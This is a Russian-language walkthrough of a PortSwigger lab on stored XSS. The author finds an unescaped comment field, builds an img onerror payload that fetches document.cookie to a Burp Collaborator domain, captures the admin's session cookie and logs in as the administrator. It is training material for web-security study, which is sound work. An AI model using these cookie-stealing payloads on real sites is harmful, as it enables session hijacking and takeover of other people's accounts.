На странице
apsyleg1 мин
#portswigger #xss #stored-xss #web-security

Кража cookie через Stored XSS

Уязвимость

Stored XSS — уязвимость, при которой пользовательский ввод сохраняется на сервере и без должной фильтрации возвращается другим пользователям в составе HTML-страницы. Если жертва — авторизованный пользователь, атакующий может получить её session-cookie и захватить аккаунт.

Лаборатория

Название: Exploiting cross-site scripting to steal cookiesСложность: Practitioner Цель: Внедрить полезную нагрузку в комментарий, перехватить cookie администратора и войти в его аккаунт.

Разведка

Закидываем стандартный набор символов <>"'\ во все поля формы комментария. Поле Comment уязвимо — символы возвращаются без экранирования. Остальные поля (name, email, website) фильтруются.

Эксплуатация

Шаг 1 — Выбор payload

Запрос на внешний хост можно сделать из обработчика события через несколько конструкций:

fetch('URL?c=' + document.cookie)
new Image().src = 'URL?c=' + document.cookie
this.src = 'URL?c=' + document.cookie  // переиспользуем сам тег

Шаг 2 — Burp Collaborator

Свой сервер не отвечал, поэтому используем встроенный Burp Collaborator — он генерирует одноразовый домен и фиксирует все входящие запросы.

Получаем адрес вида zvy0sc79xmo6lmcgsthr3j4i2980wqkf.oastify.com и собираем payload:

<img src="x" onerror="fetch('https://zvy0sc79xmo6lmcgsthr3j4i2980wqkf.oastify.com/?c='+document.cookie)" />

Отправляем как комментарий.

В Collaborator прилетает запрос:

GET /?c=secret=PZYFKXdyeAbf5tKe8hyPZjKqR97bGzl9;%20session=0Ppv65ScgeSsMYw0pa0gL6XcFtXLbEba HTTP/1.1

Берём значение session, подставляем в свои cookie через DevTools — заходим как администратор. Лаба решена.